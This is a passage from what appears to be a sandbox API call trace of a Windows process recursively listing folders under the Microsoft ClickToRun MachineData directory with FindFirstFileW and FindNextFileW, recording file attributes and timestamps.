nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0217.806] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.807] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0217.807] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.808] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0217.808] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.809] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.809] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0217.809] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0217.810] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0217.810] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.810] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0217.810] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.810] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.811] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0217.811] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0217.811] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.811] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.811] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0217.812] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.813] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.813] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0217.813] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0217.813] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.813] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0217.813] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.814] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.814] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0217.814] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.814] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0217.815] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0217.815] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.815] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.816] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.816] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0217.816] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0217.816] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.817] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.817] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.817] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0217.817] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0217.818] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.819] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.819] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0217.819] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0217.819] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.820] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0217.820] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0217.820] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.821] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0217.821] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.821] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0217.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.821] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0217.822] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, 